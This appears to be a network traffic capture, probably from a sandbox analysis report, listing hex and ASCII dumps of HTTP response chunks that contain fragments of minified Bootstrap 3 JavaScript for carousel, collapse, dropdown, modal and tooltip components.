0 65 22 29 26 26 28 63 2e 70 72 6f 70 28 22 63 68 65 63 6b 65 64 22 29 21 3d 3d 74 68 69 73 2e 24 65 6c 65 6d 65 6e 
74 2e 68 61 73 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 26 26 28 61 3d 21 31 29 2c 74 68 69 73 2e 24 65 6c 65 6d 
65 6e 74 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 
Data Ascii: put");"radio"==c.prop("type")?(c.prop("checked")&&(a=!1),b.find(".active").removeClass("active"),this.$eleme
nt.addClass("active")):"checkbox"==c.prop("type")&&(c.prop("checked")!==this.$element.hasClass("active")&&(a=!
1),this.$element.toggleClass("active"

2022-07-01 09:00:49 UTC 885 IN Data Raw: 61 72 20 63 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 3d 61 28 62 
29 2c 74 68 69 73 2e 24 69 6e 64 69 63 61 74 6f 72 73 3d 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 66 69 6e 64 28 22 
2e 63 61 72 6f 75 73 65 6c 2d 69 6e 64 69 63 61 74 6f 72 73 22 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 3d 63 2c 74 68 
69 73 2e 70 61 75 73 65 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 6c 69 64 69 6e 67 3d 6e 75 6c 6c 2c 74 68 69 73 2e 69 
6e 74 65 72 76 61 6c 3d 6e 75 6c 6c 2c 74 68 69 73 2e 24 61 63 74 69 76 65 3d 6e 75 6c 6c 2c 74 68 69 73 2e 24 69 74 
65 6d 73 3d 6e 75 6c 6c 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 6b 65 79 62 6f 61 72 64 26 26 74 68 69 73 2e 24 65 6c 
65 6d 65 6e 74 2e 6f 6e 28 22 6b 65 79 64 6f 77 6e 2e 62 73 2e 63 
Data Ascii: ar c=function(b,c){this.$element=a(b),this.$indicators=this.$element.find(".carousel-indicators"),this.optio
ns=c,this.paused=null,this.sliding=null,this.interval=null,this.$active=null,this.$items=null,this.options.keyboard&&thi
s.$element.on("keydown.bs.c
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2022-07-01 09:00:49 UTC 886 IN Data Raw: 37 63 34 37 0d 0a 21 31 29 2c 74 68 69 73 2e 69 6e 74 65 72 76 61 6c 26 26 63 6c 65 61 72 49 6e 74 65 72 
76 61 6c 28 74 68 69 73 2e 69 6e 74 65 72 76 61 6c 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 69 6e 74 65 72 76 61 
6c 26 26 21 74 68 69 73 2e 70 61 75 73 65 64 26 26 28 74 68 69 73 2e 69 6e 74 65 72 76 61 6c 3d 73 65 74 49 6e 74 65 
72 76 61 6c 28 61 2e 70 72 6f 78 79 28 74 68 69 73 2e 6e 65 78 74 2c 74 68 69 73 29 2c 74 68 69 73 2e 6f 70 74 69 6f 6e 
73 2e 69 6e 74 65 72 76 61 6c 29 29 2c 74 68 69 73 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 49 74 65 6d 49 
6e 64 65 78 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 24 69 74 65 6d 73 3d 61 2e 70 
61 72 65 6e 74 28 29 2e 63 68 69 6c 64 72 65 6e 28 22 2e 69 74 65 6d 22 
Data Ascii: 7c47!1),this.interval&&clearInterval(this.interval),this.options.interval&&!this.paused&&(this.interval=setI
nterval(a.proxy(this.next,this),this.options.interval)),this},c.prototype.getItemIndex=function(a){return this.$items=a.
parent().children(".item"

2022-07-01 09:00:49 UTC 887 IN Data Raw: 43 6c 61 73 73 28 22 61 63 74 69 76 65 22 29 29 72 65 74 75 72 6e 20 74 68 69 73 2e 73 6c 69 64 69 6e 67 
3d 21 31 3b 76 61 72 20 6a 3d 66 5b 30 5d 2c 6b 3d 61 2e 45 76 65 6e 74 28 22 73 6c 69 64 65 2e 62 73 2e 63 61 72 6f 
75 73 65 6c 22 2c 7b 72 65 6c 61 74 65 64 54 61 72 67 65 74 3a 6a 2c 64 69 72 65 63 74 69 6f 6e 3a 68 7d 29 3b 69 66 2
8 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 74 72 69 67 67 65 72 28 6b 29 2c 21 6b 2e 69 73 44 65 66 61 75 6c 74 50 
72 65 76 65 6e 74 65 64 28 29 29 7b 69 66 28 74 68 69 73 2e 73 6c 69 64 69 6e 67 3d 21 30 2c 67 26 26 74 68 69 73 2e 
70 61 75 73 65 28 29 2c 74 68 69 73 2e 24 69 6e 64 69 63 61 74 6f 72 73 2e 6c 65 6e 67 74 68 29 7b 74 68 69 73 2e 24 
69 6e 64 69 63 61 74 6f 72 73 2e 66 69 6e 64 28 22 2e 61 63 74 69 76 65 22 
Data Ascii: Class("active"))return this.sliding=!1;var j=f[0],k=a.Event("slide.bs.carousel",{relatedTarget:j,direction:h});if(this
.$element.trigger(k),!k.isDefaultPrevented()){if(this.sliding=!0,g&&this.pause(),this.$indicators.length){this.$indicato
rs.find(".active"

2022-07-01 09:00:49 UTC 888 IN Data Raw: 22 63 6c 69 63 6b 2e 62 73 2e 63 61 72 6f 75 73 65 6c 2e 64 61 74 61 2d 61 70 69 22 2c 22 5b 64 61 74 61 2d 
73 6c 69 64 65 2d 74 6f 5d 22 2c 65 29 2c 61 28 77 69 6e 64 6f 77 29 2e 6f 6e 28 22 6c 6f 61 64 22 2c 66 75 6e 63 74 69 
6f 6e 28 29 7b 61 28 27 5b 64 61 74 61 2d 72 69 64 65 3d 22 63 61 72 6f 75 73 65 6c 22 5d 27 29 2e 65 61 63 68 28 66 
75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 61 28 74 68 69 73 29 3b 62 2e 63 61 6c 6c 28 63 2c 63 2e 64 61 74 61 
28 29 29 7d 29 7d 29 7d 28 6a 51 75 65 72 79 29 2c 2b 66 75 6e 63 74 69 6f 6e 28 61 29 7b 22 75 73 65 20 73 74 72 69 
63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 62 28 62 29 7b 76 61 72 20 63 2c 64 3d 62 2e 61 74 74 72 28 22 64 61 74 61 2d 
74 61 72 67 65 74 22 29 7c 7c 28 63 3d 62 2e 61 74 74 72 28 22 68 72 
Data Ascii: "click.bs.carousel.data-api","[data-slide-to]",e),a(window).on("load",function(){a('[data-ride="carousel"]')
.each(function(){var c=a(this);b.call(c,c.data())})})}(jQuery),+function(a){"use strict";function b(b){var c,d=b.attr("data-target
")||(c=b.attr("hr

2022-07-01 09:00:49 UTC 890 IN Data Raw: 69 67 67 65 72 28 66 29 2c 21 66 2e 69 73 44 65 66 61 75 6c 74 50 72 65 76 65 6e 74 65 64 28 29 29 7b 65 
26 26 65 2e 6c 65 6e 67 74 68 26 26 28 63 2e 63 61 6c 6c 28 65 2c 22 68 69 64 65 22 29 2c 62 7c 7c 65 2e 64 61 74 61 
28 22 62 73 2e 63 6f 6c 6c 61 70 73 65 22 2c 6e 75 6c 6c 29 29 3b 76 61 72 20 67 3d 74 68 69 73 2e 64 69 6d 65 6e 73 6
9 6f 6e 28 29 3b 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 63 6f 6c 6c 61 70 73 
65 22 29 2e 61 64 64 43 6c 61 73 73 28 22 63 6f 6c 6c 61 70 73 69 6e 67 22 29 5b 67 5d 28 30 29 2e 61 74 74 72 28 22 
61 72 69 61 2d 65 78 70 61 6e 64 65 64 22 2c 21 30 29 2c 74 68 69 73 2e 24 74 72 69 67 67 65 72 2e 72 65 6d 6f 76 65 
43 6c 61 73 73 28 22 63 6f 6c 6c 61 70 73 65 64 22 29 2e 61 74 74 72 28 
Data Ascii: igger(f),!f.isDefaultPrevented()){e&&e.length&&(c.call(e,"hide"),b||e.data("bs.collapse",null));var g=this.d
imension();this.$element.removeClass("collapse").addClass("collapsing")[g](0).attr("aria-expanded",!0),this.$trigger.rem
oveClass("collapsed").attr(

2022-07-01 09:00:49 UTC 891 IN Data Raw: 65 2e 74 6f 67 67 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 74 68 69 73 2e 24 65 6c 65 6d 65 
6e 74 2e 68 61 73 43 6c 61 73 73 28 22 69 6e 22 29 3f 22 68 69 64 65 22 3a 22 73 68 6f 77 22 5d 28 29 7d 2c 64 2e 70 
72 6f 74 6f 74 79 70 65 2e 67 65 74 50 61 72 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 61 28 
74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 70 61 72 65 6e 74 29 2e 66 69 6e 64 28 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3
d 22 63 6f 6c 6c 61 70 73 65 22 5d 5b 64 61 74 61 2d 70 61 72 65 6e 74 3d 22 27 2b 74 68 69 73 2e 6f 70 74 69 6f 6e 73 
2e 70 61 72 65 6e 74 2b 27 22 5d 27 29 2e 65 61 63 68 28 61 2e 70 72 6f 78 79 28 66 75 6e 63 74 69 6f 6e 28 63 2c 64 
29 7b 76 61 72 20 65 3d 61 28 64 29 3b 74 68 69 73 2e 61 64 64 41 72 
Data Ascii: e.toggle=function(){this[this.$element.hasClass("in")?"hide":"show"]()},d.prototype.getParent=function(){return 
a(this.options.parent).find('[data-toggle="collapse"][data-parent="'+this.options.parent+'"]').each(a.proxy(function(c,d){var 
e=a(d);this.addAr

2022-07-01 09:00:49 UTC 892 IN Data Raw: 6f 77 6e 22 2c 66 29 29 29 29 29 7d 29 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 62 29 7b 72 65 74 75 72 6e 20 
74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 63 3d 61 28 74 68 69 73 29 2c 64 3d 63 2e 
64 61 74 61 28 22 62 73 2e 64 72 6f 70 64 6f 77 6e 22 29 3b 64 7c 7c 63 2e 64 61 74 61 28 22 62 73 2e 64 72 6f 70 64 6f 
77 6e 22 2c 64 3d 6e 65 77 20 67 28 74 68 69 73 29 29 2c 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 62 26 26 
64 5b 62 5d 2e 63 61 6c 6c 28 63 29 7d 29 7d 76 61 72 20 65 3d 22 2e 64 72 6f 70 64 6f 77 6e 2d 62 61 63 6b 64 72 6f 70 
22 2c 66 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 64 72 6f 70 64 6f 77 6e 22 5d 27 2c 67 3d 66 75 6e 63 74 69 6f 
6e 28 62 29 7b 61 28 62 29 2e 6f 6e 28 22 63 6c 69 63 6b 2e 62 
Data Ascii: own",f)))))}))}function d(b){return this.each(function(){var c=a(this),d=c.data("bs.dropdown");d||c.data("bs
.dropdown",d=new g(this)),"string"==typeof b&&d[b].call(c)})}var e=".dropdown-backdrop",f='[data-toggle="dropdown"]',g=f
unction(b){a(b).on("click.b

2022-07-01 09:00:49 UTC 894 IN Data Raw: 64 72 6f 70 64 6f 77 6e 3d 64 2c 61 2e 66 6e 2e 64 72 6f 70 64 6f 77 6e 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 
67 2c 61 2e 66 6e 2e 64 72 6f 70 64 6f 77 6e 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 
74 75 72 6e 20 61 2e 66 6e 2e 64 72 6f 70 64 6f 77 6e 3d 68 2c 74 68 69 73 7d 2c 61 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 
6e 28 22 63 6c 69 63 6b 2e 62 73 2e 64 72 6f 70 64 6f 77 6e 2e 64 61 74 61 2d 61 70 69 22 2c 63 29 2e 6f 6e 28 22 63 6c 
69 63 6b 2e 62 73 2e 64 72 6f 70 64 6f 77 6e 2e 64 61 74 61 2d 61 70 69 22 2c 22 2e 64 72 6f 70 64 6f 77 6e 20 66 6f 72 
6d 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 2e 73 74 6f 70 50 72 6f 70 61 67 61 74 69 6f 6e 28 29 7d 29 2e 6f 6e 28 
22 63 6c 69 63 6b 2e 62 73 2e 64 72 6f 70 64 6f 77 6e 
Data Ascii: dropdown=d,a.fn.dropdown.Constructor=g,a.fn.dropdown.noConflict=function(){return a.fn.dropdown=h,
this},a(document).on("click.bs.dropdown.data-api",c).on("click.bs.dropdown.data-api",".dropdown form",function(a){a.stop
Propagation()}).on("click.bs.dropdown

2022-07-01 09:00:49 UTC 895 IN Data Raw: 2e 74 72 69 67 67 65 72 28 65 29 2c 74 68 69 73 2e 69 73 53 68 6f 77 6e 7c 7c 65 2e 69 73 44 65 66 61 75 6c 
74 50 72 65 76 65 6e 74 65 64 28 29 7c 7c 28 74 68 69 73 2e 69 73 53 68 6f 77 6e 3d 21 30 2c 74 68 69 73 2e 63 68 65 
63 6b 53 63 72 6f 6c 6c 62 61 72 28 29 2c 74 68 69 73 2e 73 65 74 53 63 72 6f 6c 6c 62 61 72 28 29 2c 74 68 69 73 2e 
24 62 6f 64 79 2e 61 64 64 43 6c 61 73 73 28 22 6d 6f 64 61 6c 2d 6f 70 65 6e 22 29 2c 74 68 69 73 2e 65 73 63 61 70 65 
28 29 2c 74 68 69 73 2e 72 65 73 69 7a 65 28 29 2c 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 6f 6e 28 22 63 6c 69 63 6
b 2e 64 69 73 6d 69 73 73 2e 62 73 2e 6d 6f 64 61 6c 22 2c 27 5b 64 61 74 61 2d 64 69 73 6d 69 73 73 3d 22 6d 6f 64 61 
6c 22 5d 27 2c 61 2e 70 72 6f 78 79 28 74 68 69 73 2e 68 69 64 65 
Data Ascii: .trigger(e),this.isShown||e.isDefaultPrevented()||(this.isShown=!0,this.checkScrollbar(),this.setScrollbar()
,this.$body.addClass("modal-open"),this.escape(),this.resize(),this.$element.on("click.dismiss.bs.modal",'[data-dismiss=
"modal"]',a.proxy(this.hide
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2022-07-01 09:00:49 UTC 896 IN Data Raw: 72 6f 78 79 28 74 68 69 73 2e 68 69 64 65 4d 6f 64 61 6c 2c 74 68 69 73 29 29 2e 65 6d 75 6c 61 74 65 54 72 
61 6e 73 69 74 69 6f 6e 45 6e 64 28 63 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 44 55 52 41 54 49 4f 4e 29 3a 74 68 69 73 2e 
68 69 64 65 4d 6f 64 61 6c 28 29 29 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 65 6e 66 6f 72 63 65 46 6f 63 75 73 3d 66 
75 6e 63 74 69 6f 6e 28 29 7b 61 28 64 6f 63 75 6d 65 6e 74 29 2e 6f 66 66 28 22 66 6f 63 75 73 69 6e 2e 62 73 2e 6d 6f 
64 61 6c 22 29 2e 6f 6e 28 22 66 6f 63 75 73 69 6e 2e 62 73 2e 6d 6f 64 61 6c 22 2c 61 2e 70 72 6f 78 79 28 66 75 6e 63 
74 69 6f 6e 28 61 29 7b 64 6f 63 75 6d 65 6e 74 3d 3d 3d 61 2e 74 61 72 67 65 74 7c 7c 74 68 69 73 2e 24 65 6c 65 6d 
65 6e 74 5b 30 5d 3d 3d 3d 61 2e 74 61 72 67 65 74 7c 7c 74 
Data Ascii: roxy(this.hideModal,this)).emulateTransitionEnd(c.TRANSITION_DURATION):this.hideModal())},c.protot
ype.enforceFocus=function(){a(document).off("focusin.bs.modal").on("focusin.bs.modal",a.proxy(function(a){docu
ment===a.target||this.$element[0]===a.target||t

2022-07-01 09:00:49 UTC 898 IN Data Raw: 61 63 6b 64 72 6f 70 43 6c 69 63 6b 3d 21 31 29 3a 76 6f 69 64 28 61 2e 74 61 72 67 65 74 3d 3d 3d 61 2e 63 
75 72 72 65 6e 74 54 61 72 67 65 74 26 26 28 22 73 74 61 74 69 63 22 3d 3d 74 68 69 73 2e 6f 70 74 69 6f 6e 73 2e 62 
61 63 6b 64 72 6f 70 3f 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 5b 30 5d 2e 66 6f 63 75 73 28 29 3a 74 68 69 73 2e 68 
69 64 65 28 29 29 29 7d 2c 74 68 69 73 29 29 2c 66 26 26 74 68 69 73 2e 24 62 61 63 6b 64 72 6f 70 5b 30 5d 2e 6f 66 6
6 73 65 74 57 69 64 74 68 2c 74 68 69 73 2e 24 62 61 63 6b 64 72 6f 70 2e 61 64 64 43 6c 61 73 73 28 22 69 6e 22 29 2c 
21 62 29 72 65 74 75 72 6e 3b 66 3f 74 68 69 73 2e 24 62 61 63 6b 64 72 6f 70 2e 6f 6e 65 28 22 62 73 54 72 61 6e 73 
69 74 69 6f 6e 45 6e 64 22 2c 62 29 2e 65 6d 75 6c 61 74 65 54 72 61 
Data Ascii: ackdropClick=!1):void(a.target===a.currentTarget&&("static"==this.options.backdrop?this.$element[0].focus():
this.hide()))},this)),f&&this.$backdrop[0].offsetWidth,this.$backdrop.addClass("in"),!b)return;f?this.$backdrop.one("bsT
ransitionEnd",b).emulateTra

2022-07-01 09:00:49 UTC 899 IN Data Raw: 64 69 6e 67 52 69 67 68 74 7c 7c 22 22 2c 74 68 69 73 2e 62 6f 64 79 49 73 4f 76 65 72 66 6c 6f 77 69 6e 67 
26 26 74 68 69 73 2e 24 62 6f 64 79 2e 63 73 73 28 22 70 61 64 64 69 6e 67 2d 72 69 67 68 74 22 2c 61 2b 74 68 69 73 
2e 73 63 72 6f 6c 6c 62 61 72 57 69 64 74 68 29 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 73 65 74 53 63 72 6f 6c 
6c 62 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 24 62 6f 64 79 2e 63 73 73 28 22 70 61 64 64 69 6e 67 
2d 72 69 67 68 74 22 2c 74 68 69 73 2e 6f 72 69 67 69 6e 61 6c 42 6f 64 79 50 61 64 29 7d 2c 63 2e 70 72 6f 74 6f 74 79 
70 65 2e 6d 65 61 73 75 72 65 53 63 72 6f 6c 6c 62 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 64 6f 63 
75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 
Data Ascii: dingRight||"",this.bodyIsOverflowing&&this.$body.css("padding-right",a+this.scrollbarWidth)},c.prototype.res
etScrollbar=function(){this.$body.css("padding-right",this.originalBodyPad)},c.prototype.measureScrollbar=function(){var 
a=document.createElement("

2022-07-01 09:00:49 UTC 900 IN Data Raw: 22 2c 63 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 44 55 52 41 54 49 4f 4e 3d 31 35 30 2c 63 2e 44 45 46 41 55 4c 
54 53 3d 7b 61 6e 69 6d 61 74 69 6f 6e 3a 21 30 2c 70 6c 61 63 65 6d 65 6e 74 3a 22 74 6f 70 22 2c 73 65 6c 65 63 74 6f 
72 3a 21 31 2c 74 65 6d 70 6c 61 74 65 3a 27 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 74 69 70 22 20 72 6f 6c 65 
3d 22 74 6f 6f 6c 74 69 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 74 69 70 2d 61 72 72 6f 77 22 3e 3c 2f 
64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 74 6f 6f 6c 74 69 70 2d 69 6e 6e 65 72 22 3e 3c 2f 64 69 76 3e 3c 2f 64 
69 76 3e 27 2c 74 72 69 67 67 65 72 3a 22 68 6f 76 65 72 20 66 6f 63 75 73 22 2c 74 69 74 6c 65 3a 22 22 2c 64 65 6c 
61 79 3a 30 2c 68 74 6d 6c 3a 21 31 2c 63 6f 6e 74 61 69 6e 
Data Ascii: ",c.TRANSITION_DURATION=150,c.DEFAULTS={animation:!0,placement:"top",selector:!1,template:'<div cl
ass="tooltip" role="tooltip"><div class="tooltip-arrow"></div><div class="tooltip-inner"></div></div>',trigger:"hover fo
cus",title:"",delay:0,html:!1,contain

2022-07-01 09:00:49 UTC 902 IN Data Raw: 74 6f 74 79 70 65 2e 67 65 74 44 65 66 61 75 6c 74 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 
20 63 2e 44 45 46 41 55 4c 54 53 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 4f 70 74 69 6f 6e 73 3d 66 75 6e 63 
74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 62 3d 61 2e 65 78 74 65 6e 64 28 7b 7d 2c 74 68 69 73 2e 67 65 74 44 65 
66 61 75 6c 74 73 28 29 2c 74 68 69 73 2e 24 65 6c 65 6d 65 6e 74 2e 64 61 74 61 28 29 2c 62 29 2c 62 2e 64 65 6c 61 
79 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 62 2e 64 65 6c 61 79 26 26 28 62 2e 64 65 6c 61 79 3d 7b 7
3 68 6f 77 3a 62 2e 64 65 6c 61 79 2c 68 69 64 65 3a 62 2e 64 65 6c 61 79 7d 29 2c 62 7d 2c 63 2e 70 72 6f 74 6f 74 79 
70 65 2e 67 65 74 44 65 6c 65 67 61 74 65 4f 70 74 69 6f 6e 73 3d 
Data Ascii: totype.getDefaults=function(){return c.DEFAULTS},c.prototype.getOptions=function(b){return b=a.extend({},thi
s.getDefaults(),this.$element.data(),b),b.delay&&"number"==typeof b.delay&&(b.delay={show:b.delay,hide:b.delay
}),b},c.prototype.getDelegateOptions=

2022-07-01 09:00:49 UTC 903 IN Data Raw: 69 6d 65 6f 75 74 29 2c 63 2e 68 6f 76 65 72 53 74 61 74 65 3d 22 6f 75 74 22 2c 63 2e 6f 70 74 69 6f 6e 73 
2e 64 65 6c 61 79 26 26 63 2e 6f 70 74 69 6f 6e 73 2e 64 65 6c 61 79 2e 68 69 64 65 3f 76 6f 69 64 28 63 2e 74 69 6d 65 
6f 75 74 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 22 6f 75 74 22 3d 3d 63 2e 68 6f 76 65 72 
53 74 61 74 65 26 26 63 2e 68 69 64 65 28 29 7d 2c 63 2e 6f 70 74 69 6f 6e 73 2e 64 65 6c 61 79 2e 68 69 64 65 29 29 
3a 63 2e 68 69 64 65 28 29 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 73 68 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 
61 72 20 62 3d 61 2e 45 76 65 6e 74 28 22 73 68 6f 77 2e 62 73 2e 22 2b 74 68 69 73 2e 74 79 70 65 29 3b 69 66 28 74 
68 69 73 2e 68 61 73 43 6f 6e 74 65 6e 74 28 29 26 26 74 68 69 
Data Ascii: imeout),c.hoverState="out",c.options.delay&&c.options.delay.hide?void(c.timeout=setTimeout(function(){"out"=
=c.hoverState&&c.hide()},c.options.delay.hide)):c.hide()},c.prototype.show=function(){var b=a.Event("show.bs."+this.type
);if(this.hasContent()&&thi

2022-07-01 09:00:49 UTC 904 IN Data Raw: 74 61 74 65 3b 65 2e 24 65 6c 65 6d 65 6e 74 2e 74 72 69 67 67 65 72 28 22 73 68 6f 77 6e 2e 62 73 2e 22 2b 
65 2e 74 79 70 65 29 2c 65 2e 68 6f 76 65 72 53 74 61 74 65 3d 6e 75 6c 6c 2c 22 6f 75 74 22 3d 3d 61 26 26 65 2e 6c 
65 61 76 65 28 65 29 7d 3b 61 2e 73 75 70 70 6f 72 74 2e 74 72 61 6e 73 69 74 69 6f 6e 26 26 74 68 69 73 2e 24 74 69 
70 2e 68 61 73 43 6c 61 73 73 28 22 66 61 64 65 22 29 3f 66 2e 6f 6e 65 28 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6
e 64 22 2c 71 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 63 2e 54 52 41 4e 53 49 54 49 4f 4e 
5f 44 55 52 41 54 49 4f 4e 29 3a 71 28 29 7d 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 61 70 70 6c 79 50 6c 61 63 65 6d 
65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 
Data Ascii: tate;e.$element.trigger("shown.bs."+e.type),e.hoverState=null,"out"==a&&e.leave(e)};a.support.transition&&th
is.$tip.hasClass("fade")?f.one("bsTransitionEnd",q).emulateTransitionEnd(c.TRANSITION_DURATION):q()}},c.protot
ype.applyPlacement=function(b,c){var 

2022-07-01 09:00:49 UTC 906 IN Data Raw: 73 2e 24 65 6c 65 6d 65 6e 74 2e 74 72 69 67 67 65 72 28 67 29 2c 21 67 2e 69 73 44 65 66 61 75 6c 74 50 
72 65 76 65 6e 74 65 64 28 29 29 72 65 74 75 72 6e 20 66 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 22 69 6e 22 29 2c 61 
2e 73 75 70 70 6f 72 74 2e 74 72 61 6e 73 69 74 69 6f 6e 26 26 66 2e 68 61 73 43 6c 61 73 73 28 22 66 61 64 65 22 29 3
f 66 2e 6f 6e 65 28 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 64 29 2e 65 6d 75 6c 61 74 65 54 72 61 6e 73 
69 74 69 6f 6e 45 6e 64 28 63 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 44 55 52 41 54 49 4f 4e 29 3a 64 28 29 2c 74 68 69 73 
2e 68 6f 76 65 72 53 74 61 74 65 3d 6e 75 6c 6c 2c 74 68 69 73 7d 2c 63 2e 70 72 6f 74 6f 74 79 70 65 2e 66 69 78 54 69 
74 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 
Data Ascii: s.$element.trigger(g),!g.isDefaultPrevented())return f.removeClass("in"),a.support.transition&&f.hasClass("f
ade")?f.one("bsTransitionEnd",d).emulateTransitionEnd(c.TRANSITION_DURATION):d(),this.hoverState=null,this},c.
prototype.fixTitle=function(){var a=t
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2022-07-01 09:00:49 UTC 907 IN Data Raw: 6f 6e 28 74 68 69 73 2e 24 76 69 65 77 70 6f 72 74 29 3b 69 66 28 2f 72 69 67 68 74 7c 6c 65 66 74 2f 2e 74 
65 73 74 28 61 29 29 7b 76 61 72 20 68 3d 62 2e 74 6f 70 2d 66 2d 67 2e 73 63 72 6f 6c 6c 2c 69 3d 62 2e 74 6f 70 2b 66 
2d 67 2e 73 63 72 6f 6c 6c 2b 64 3b 68 3c 67 2e 74 6f 70 3f 65 2e 74 6f 70 3d 67 2e 74 6f 70 2d 68 3a 69 3e 67 2e 74 6f 
70 2b 67 2e 68 65 69 67 68 74 26 26 28 65 2e 74 6f 70 3d 67 2e 74 6f 70 2b 67 2e 68 65 69 67 68 74 2d 69 29 7d 65 6c 
73 65 7b 76 61 72 20 6a 3d 62 2e 6c 65 66 74 2d 66 2c 6b 3d 62 2e 6c 65 66 74 2b 66 2b 63 3b 6a 3c 67 2e 6c 65 66 74 
3f 65 2e 6c 65 66 74 3d 67 2e 6c 65 66 74 2d 6a 3a 6b 3e 67 2e 72 69 67 68 74 26 26 28 65 2e 6c 65 66 74 3d 67 2e 6c 6
5 66 74 2b 67 2e 77 69 64 74 68 2d 6b 29 7d 72 65 74 75 72 6e 20 
Data Ascii: on(this.$viewport);if(/right|left/.test(a)){var h=b.top-f-g.scroll,i=b.top+f-g.scroll+d;h<g.top?e.top=g.top-h:i>g.top+
g.height&&(e.top=g.top+g.height-i)}else{var j=b.left-f,k=b.left+f+c;j<g.left?e.left=g.left-j:k>g.right&&(e.left=g.left+g.width-k)}
return 

2022-07-01 09:00:49 UTC 908 IN Data Raw: 6d 65 6f 75 74 28 74 68 69 73 2e 74 69 6d 65 6f 75 74 29 2c 74 68 69 73 2e 68 69 64 65 28 66 75 6e 63 74 69 
6f 6e 28 29 7b 61 2e 24 65 6c 65 6d 65 6e 74 2e 6f 66 66 28 22 2e 22 2b 61 2e 74 79 70 65 29 2e 72 65 6d 6f 76 65 44 
61 74 61 28 22 62 73 2e 22 2b 61 2e 74 79 70 65 29 2c 61 2e 24 74 69 70 26 26 61 2e 24 74 69 70 2e 64 65 74 61 63 68 
28 29 2c 61 2e 24 74 69 70 3d 6e 75 6c 6c 2c 61 2e 24 61 72 72 6f 77 3d 6e 75 6c 6c 2c 61 2e 24 76 69 65 77 70 6f 72 74 
3d 6e 75 6c 6c 2c 61 2e 24 65 6c 65 6d 65 6e 74 3d 6e 75 6c 6c 7d 29 7d 3b 76 61 72 20 64 3d 61 2e 66 6e 2e 74 6f 6f 6c 
74 69 70 3b 61 2e 66 6e 2e 74 6f 6f 6c 74 69 70 3d 62 2c 61 2e 66 6e 2e 74 6f 6f 6c 74 69 70 2e 43 6f 6e 73 74 72 75 63 
74 6f 72 3d 63 2c 61 2e 66 6e 2e 74 6f 6f 6c 74 69 70 2e 6e 6f 
Data Ascii: meout(this.timeout),this.hide(function(){a.$element.off("."+a.type).removeData("bs."+a.type),a.$tip&&a.$tip.
detach(),a.$tip=null,a.$arrow=null,a.$viewport=null,a.$element=null})};var d=a.fn.tooltip;a.fn.tooltip=b,a.fn.tooltip.Co
nstructor=c,a.fn.tooltip.no

2022-07-01 09:00:49 UTC 910 IN Data Raw: 22 29 2c 61 2e 66 69 6e 64 28 22 2e 70 6f 70 6f 76 65 72 2d 74 69 74 6c 65 22 29 2e 68 74 6d 6c 28 29 7c 7c 
